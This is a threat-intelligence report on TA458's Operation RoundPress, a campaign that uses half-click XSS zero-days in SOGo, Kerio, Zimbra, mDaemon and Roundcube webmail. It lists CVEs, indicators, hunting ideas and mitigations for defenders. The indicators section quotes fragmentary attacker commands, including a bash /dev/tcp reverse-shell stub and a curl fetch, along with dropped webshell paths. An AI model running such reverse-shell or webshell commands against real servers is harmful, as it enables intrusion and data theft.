12 minhigh
Operation RoundPress Rolls on with More Half-Click Webmail Zero-Days from TA458
TA458, a Russia-aligned espionage actor tracked as the operator behind Operation RoundPress, continues leveraging half-click XSS exploits against webmail platforms (SOGo, Kerio, Zimbra, mDaemon, Roundcube) to compromise government and military targets across Ukraine and Eastern Europe without requiring victim interaction beyond viewing a malicious email. The actor deploys the customized, obfuscated SpyPress JavaScript implant to steal credentials, contacts, and emails, and has recently pivoted its Roundcube variant toward establishing long-term server access via a chained PHP deserialization exploit (CVE-2025-49113) that installs multiple redundant reverse-shell and webshell persistence mechanisms.
Sens:■ Immediate
Showing defanged values
- domainhgmydr[.]wikiSpyPress command-and-control domain used by TA458, first seen March 2026
- domainshare-ya[.]spaceSpyPress command-and-control domain used by TA458, first seen May 2025
- domainupgybj[.]storeSpyPress command-and-control domain used by TA458, first seen February 2026
- domainxsza[.]netSpyPress command-and-control domain used by TA458, first seen February 2026
- domainxwe[.]usSpyPress command-and-control domain used by TA458, first seen June 2025
- domainzxzaq[.]comSpyPress command-and-control domain used by TA458, first seen February 2026
- sha2563a449148a0e3cac604fb93210dd7d91ccf48e06ed9aae064bc53a419a84ce9baExploit-laden email delivering CVE-2024-42009 against Roundcube, first seen January 2025
- sha256625e4c166c7a1d5a1becf56b27d4f76a2f95935cbd8d556c30a493263d10dbf8Exploit-laden email delivering CVE-2023-43770 against Roundcube, first seen May 2024
- sha2566b2c02bf82087a3ca5fb7ef8046554ff29ce85d52202bdcfae2b2653aede139aExploit-laden email delivering chained CVE-2024-42900 and CVE-2025-49113 against Roundcube, first seen March 2026
- sha2568b5a4dc237a4c89042176bc89864a4c357dcdd14fa544fe6496ccb6c31cd5b7fExploit-laden email delivering CVE-2025-3929 against mDaemon, first seen April 2025
- sha256a0c80cab70d6672b01710a70f93311fc1c1db2fbbf9cd6daa543c34b87e3444aExploit-laden email delivering CVE-2025-27915 against Zimbra, first seen January 2025
- sha256e27d1bf82249002a66395c89dbda6ec5d8df012a84b79d36fffbbf7808d28878Exploit-laden email delivering CVE-2026-8496 against SOGo, first seen March 2026
- sha256fb8ec4dbed14c0a91361abd82ebe9fb083615c3dbb15348f57317af7cc41dd34Exploit-laden email delivering CVE-2025-27915 against Zimbra, first seen January 2025
Detection / HunterAnthropic
What Happened
A suspected Russian government-linked hacking group known as TA458 is exploiting security flaws in webmail systems used by government and military organizations, mainly in Ukraine and nearby Eastern European countries. The attack is unusual because victims don't need to click a link or open an attachment — simply viewing a malicious email in their webmail inbox is enough to trigger the attack. This matters because it lets attackers silently steal emails, contacts, and login credentials from sensitive government mailboxes, and in some cases install long-term hidden backdoor access to the mail server itself. Organizations running the affected webmail software (SOGo, Kerio, Zimbra, mDaemon, or Roundcube) should update to the latest patched versions and monitor their mail servers closely for unusual activity.
Key Takeaways
- TA458 (likely GRU-aligned, Operation RoundPress) continues exploiting 'half-click' XSS vulnerabilities in webmail platforms requiring no user interaction beyond opening an email.
- New zero-day exploitation discovered in SOGo webmail (CVE-2026-8496) and an outdated/unpatched Kerio webmail deployment, expanding beyond previously known Zimbra, mDaemon, and Roundcube targeting.
- SpyPress malware has shifted on Roundcube targets (since July 2025) from pure credential/email theft toward establishing long-term backdoor access via a second exploit chain (CVE-2025-49113) abusing PHP deserialization through the Crypt_GPG_Engine gadget.
- SpyPress deploys six redundant persistence/backdoor mechanisms (reverse shells, HTTP fetchers, dropped PHP webshells) to maximize odds of establishing C2 on compromised Roundcube servers.
- Targeting focuses on Ukrainian government and Eastern European military/government entities (Albania, Greece, Moldova, Türkiye), with occasional targeting of chemical, telecom, and technology sectors.
Affected Systems
- SOGo Webmail (pre-5.12.8)
- Kerio Webmail (outdated/unsupported version)
- Zimbra Collaboration Suite
- mDaemon Email Server
- Roundcube Webmail
- Government and military webmail server administrators/users in Ukraine and Eastern Europe
Vulnerabilities (CVEs)
copy:
| CVE | Product | Severity | Description |
|---|---|---|---|
| CVE-2026-8496 | SOGo Webmail | Zero-day cross-site scripting vulnerability via .ics calendar invite allowing arbitrary JavaScript execution when a malicious email/calendar item is viewed; patched in version 5.12.8. | |
| CVE-2025-27915 | Zimbra Collaboration Suite (ZCS) | Zero-day cross-site scripting vulnerability exploited by TA458 to compromise Zimbra webmail sessions. | |
| CVE-2025-3929 | mDaemon Email Server | Zero-day cross-site scripting vulnerability via img tag exploited to execute arbitrary JavaScript in mDaemon webmail. | |
| CVE-2023-43770 | Roundcube Webmail | N-day persistent cross-site scripting vulnerability exploited by TA458 against Roundcube instances. | |
| CVE-2024-42009 | Roundcube Webmail | N-day cross-site scripting vulnerability exploited by TA458 against Roundcube instances. | |
| CVE-2025-49113 | Roundcube Webmail | Post-authentication remote code execution via PHP object deserialization in the file upload handler, abusing the Crypt_GPG_Engine class as a gadget to pass attacker-controlled input to the system GPG binary. | |
| CVE-2024-42900 | Roundcube Webmail | Referenced as chained together with CVE-2025-49113 in a March 2026 exploit email targeting Roundcube. |
Attack Chain
- Delivery: TA458 sends exploit-laden emails from actor-controlled or compromised mail accounts, sometimes routed through proxy jump boxes, targeting government/military webmail users
- Initial Access: Victim opens the malicious email in a vulnerable webmail client (SOGo, Kerio, Zimbra, mDaemon, or Roundcube); no click or attachment interaction is required (half-click XSS)
- Execution: Unsanitized event handlers or calendar/.ics fields trigger arbitrary JavaScript execution, loading the obfuscated SpyPress payload
- Collection: SpyPress harvests webmail credentials, contacts, and email content from the compromised session
- Privilege Escalation/Persistence (Roundcube-specific): A secondary exploit (CVE-2025-49113) abuses the file upload handler to trigger PHP deserialization via the Crypt_GPG_Engine gadget, enabling arbitrary code execution
- Persistence/C2: SpyPress attempts multiple redundant backdoor mechanisms (reverse shells, HTTP/Python/curl beacons, dropped PHP webshells) to maintain long-term access to the mail server
Detection Availability
- YARA Rules: No
- Sigma Rules: No
- Snort/Suricata Rules: Yes
- KQL Queries: No
- Splunk SPL Queries: No
- EQL Queries: No
- Other Detection Logic: No
- Platforms: Proofpoint Emerging Threats (ET/ETPRO)
The article lists a set of Emerging Threats (ET/ETPRO) Snort/Suricata rule IDs and names covering SpyPress C2 beacons, dropped webshell inbound requests, and exploitation attempts for each named CVE (SOGo, Zimbra, mDaemon, Roundcube). Rule bodies are not reproduced here; rule IDs are provided in the article text for lookup in Proofpoint ET rule sets.
Detection Engineering Assessment
copy:
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | Medium | The dropped PHP webshells and reverse shell/backdoor mechanisms execute server-side on webmail hosts; visibility depends on whether EDR or host-based monitoring is deployed on the mail server itself rather than endpoints, which is often not the case for appliance-style webmail servers. |
| Network Visibility | High | C2 communications (fsockopen, bash reverse shell, HTTP/Python/curl beacons) traverse the network to attacker domains and would be visible to network monitoring, proxy logs, or IDS/IPS with appropriate signatures such as the ET rules referenced. |
| Detection Difficulty | Hard | Half-click exploits require no user interaction beyond viewing an email, the exploit code is delivered inline via calendar/email fields with obfuscated JavaScript, and TA458 uses multiple redundant persistence channels and varies its C2 domains, making signature-based detection alone insufficient without visibility into webmail server internals and network egress. |
Required Log Sources
- Webmail server access/application logs (SOGo, Kerio, Zimbra, mDaemon, Roundcube)
- Web server (Apache/Nginx) access logs for the dropped webshell file paths
- Outbound network connection/proxy logs to identify beaconing to unusual domains
- Email gateway logs for inbound exploit-laden messages
- File integrity monitoring on webmail server installation directories
Hunting Hypotheses
copy:
| Hypothesis | Telemetry | ATT&CK Stage | FP Risk |
|---|---|---|---|
| Inbound emails or calendar invites containing SVG or animate tags with embedded event handlers (e.g., onrepeat, onload) referencing obfuscated JavaScript could indicate a half-click XSS exploit attempt against webmail. | Email gateway content inspection logs, webmail application logs | Initial Access / Execution (T1566.001, T1059.007) | Low to Medium - legitimate calendar invites rarely contain SVG/animate event handler tags, but some legitimate rich-content emails may trigger inspection alerts requiring tuning. |
| Unexpected file creation of PHP files with double extensions (e.g., .js.php, .gif.php) within webmail server installation directories may indicate a dropped webshell for persistence. | File integrity monitoring, web server access logs, host-based file creation events | Persistence (T1505.003) | Low - legitimate webmail deployments do not normally generate double-extension PHP files in these specific subdirectories. |
| Outbound connections from a webmail server process to previously unseen domains via unusual protocols (raw sockets, Python requests, curl) may indicate an established reverse shell or beaconing backdoor. | Network flow logs, proxy logs, DNS query logs from mail server subnet | Command and Control (T1071.001, T1219) | Medium - legitimate server integrations or update checks could generate similar outbound patterns, requiring baseline comparison. |
| Presence of Crypt_GPG_Engine-related deserialization payloads or unexpected invocation of the system GPG binary with attacker-supplied config arguments on a Roundcube server may indicate exploitation of CVE-2025-49113. | Web application logs, process execution logs (GPG binary invocation), PHP error/application logs | Execution / Privilege Escalation (T1190) | Low - GPG binary invocation with unusual config file arguments from a web application context is atypical of normal Roundcube operation. |
| Repeated exploit-laden emails targeting the same organization across multiple distinct webmail platforms and CVEs over time may indicate persistent targeting by a single actor group, warranting broader retrospective email hunting. | Email gateway historical logs, SIEM correlation across mail server types | Reconnaissance / Initial Access | Low - correlation of multiple distinct exploit attempts against the same recipients over time is a strong signal, unlikely to be benign. |
Control Gaps
- Standard endpoint antivirus/EDR deployed on user workstations will not detect server-side exploitation occurring within the webmail application itself
- Perimeter email security that only inspects attachments and links (not inline HTML/SVG/calendar content) may miss half-click XSS payloads entirely
- Patch management processes that do not prioritize webmail appliances (often treated as low-touch infrastructure) leave known n-day vulnerabilities like CVE-2023-43770 and CVE-2024-42009 exploitable for extended periods
- Lack of file integrity monitoring on webmail server directories allows dropped webshells to persist undetected
Key Behavioral Indicators
- Presence of PHP files with double extensions in non-standard webmail application subdirectories
- Unexpected outbound connections from a webmail server host to external domains using multiple different protocols in short succession
- Invocation of the system GPG binary by a web server process with an unusual or attacker-controlled config file argument
- Inbound emails containing SVG/animate tags with embedded event handlers referencing obfuscated JavaScript in calendar DESCRIPTION fields
False Positive Assessment
Medium - behavioral indicators like unusual outbound connections or dropped PHP files carry low false positive risk, but content-based detection of SVG/animate event handlers in emails may require tuning to avoid flagging legitimate rich-content calendar invites.
Recommendations
Immediate Mitigation
defender takeaway
- Verify against your organization's incident response runbook and team escalation paths before acting; if running SOGo, prioritize upgrading to version 5.12.8 or later to address CVE-2026-8496.
- If running outdated/unsupported Kerio webmail, consider evaluating an upgrade or migration path, as the affected version was too old to receive a CVE assignment.
- Consider applying available patches for Zimbra (CVE-2025-27915), mDaemon (CVE-2025-3929), and Roundcube (CVE-2023-43770, CVE-2024-42009, CVE-2025-49113) as soon as feasible.
- If your web server logs support it, search for the dropped webshell file paths described in this report on internet-facing webmail servers.
Infrastructure Hardening
- Evaluate whether webmail servers can be placed behind additional network segmentation and egress filtering to limit reverse shell and beacon traffic to external domains.
- Consider implementing file integrity monitoring on webmail server installation directories to detect unauthorized file drops.
- Where supported, restrict or monitor invocation of system binaries such as GPG from web application server processes.
- Evaluate whether your email security/gateway solution inspects inline HTML/SVG and calendar invite content, not just attachments and links, for XSS payloads.
User Protection
- Consider deploying browser/webmail client hardening or content security policies where the webmail platform supports it to reduce impact of unsanitized event handlers.
- If your organization uses any of the named webmail platforms, consider auditing accounts of high-value personnel (government, military, diplomatic) for signs of prior compromise.
- Evaluate whether multi-factor authentication is enforced on webmail access to reduce impact of credential theft even if session compromise occurs.
Security Awareness
- Consider briefing IT/security teams that half-click exploits require no end-user click, so traditional phishing awareness training alone will not prevent this class of attack.
- Where applicable, incorporate guidance for administrators on prioritizing patching of webmail/collaboration platforms as high-value external-facing assets.
- Consider raising awareness among relevant government/military stakeholders in Ukraine and Eastern Europe about ongoing TA458 targeting patterns.
MITRE ATT&CK Mapping
MITRE ATT&CK Mapping10 techniques
Tactic
Initial Access
Tactic
Execution
Tactic
Persistence
Tactic
Stealth
Tactic
Collection
Tactic
Command and Control
Additional IOCs
- File Hashes:
625e4c166c7a1d5a1becf56b27d4f76a2f95935cbd8d556c30a493263d10dbf8(SHA256) - Exploit-laden email delivering CVE-2023-43770 against Roundcube, first seen May 2024a0c80cab70d6672b01710a70f93311fc1c1db2fbbf9cd6daa543c34b87e3444a(SHA256) - Exploit-laden email delivering CVE-2025-27915 against Zimbra, first seen January 2025fb8ec4dbed14c0a91361abd82ebe9fb083615c3dbb15348f57317af7cc41dd34(SHA256) - Exploit-laden email delivering CVE-2025-27915 against Zimbra, first seen January 20253a449148a0e3cac604fb93210dd7d91ccf48e06ed9aae064bc53a419a84ce9ba(SHA256) - Exploit-laden email delivering CVE-2024-42009 against Roundcube, first seen January 20258b5a4dc237a4c89042176bc89864a4c357dcdd14fa544fe6496ccb6c31cd5b7f(SHA256) - Exploit-laden email delivering CVE-2025-3929 against mDaemon, first seen April 20256b2c02bf82087a3ca5fb7ef8046554ff29ce85d52202bdcfae2b2653aede139a(SHA256) - Exploit-laden email delivering chained CVE-2024-42900 and CVE-2025-49113 against Roundcube, first seen March 2026e27d1bf82249002a66395c89dbda6ec5d8df012a84b79d36fffbbf7808d28878(SHA256) - Exploit-laden email delivering CVE-2026-8496 against SOGo, first seen March 2026
- File Paths:
program/js/list.js.php- Dropped PHP webshell path on compromised Roundcube servers as a fallback backdoor mechanismprogram/resources/blank.gif.php- Dropped PHP webshell path on compromised Roundcube servers as a fallback backdoor mechanismplugins/password/password.js.php- Dropped PHP webshell path on compromised Roundcube servers as a fallback backdoor mechanismprogram/actions/mail/get.php.php- Dropped PHP webshell path on compromised Roundcube servers as a fallback backdoor mechanism
- Command Lines:
- Purpose: Establish a reverse shell from a compromised Roundcube server back to attacker infrastructure | Tools:
PHP fsockopen| Stage: Persistence / Command and Control - Purpose: Establish a reverse bash shell to attacker-controlled infrastructure | Tools:
bash| Stage: Persistence / Command and Control |bash -i >& /dev/tcp/ - Purpose: Fetch attacker-hosted content over HTTP to confirm exploitation success | Tools:
curl| Stage: Command and Control |curl -k
- Purpose: Establish a reverse shell from a compromised Roundcube server back to attacker infrastructure | Tools:
Stay currentSubscribe via RSS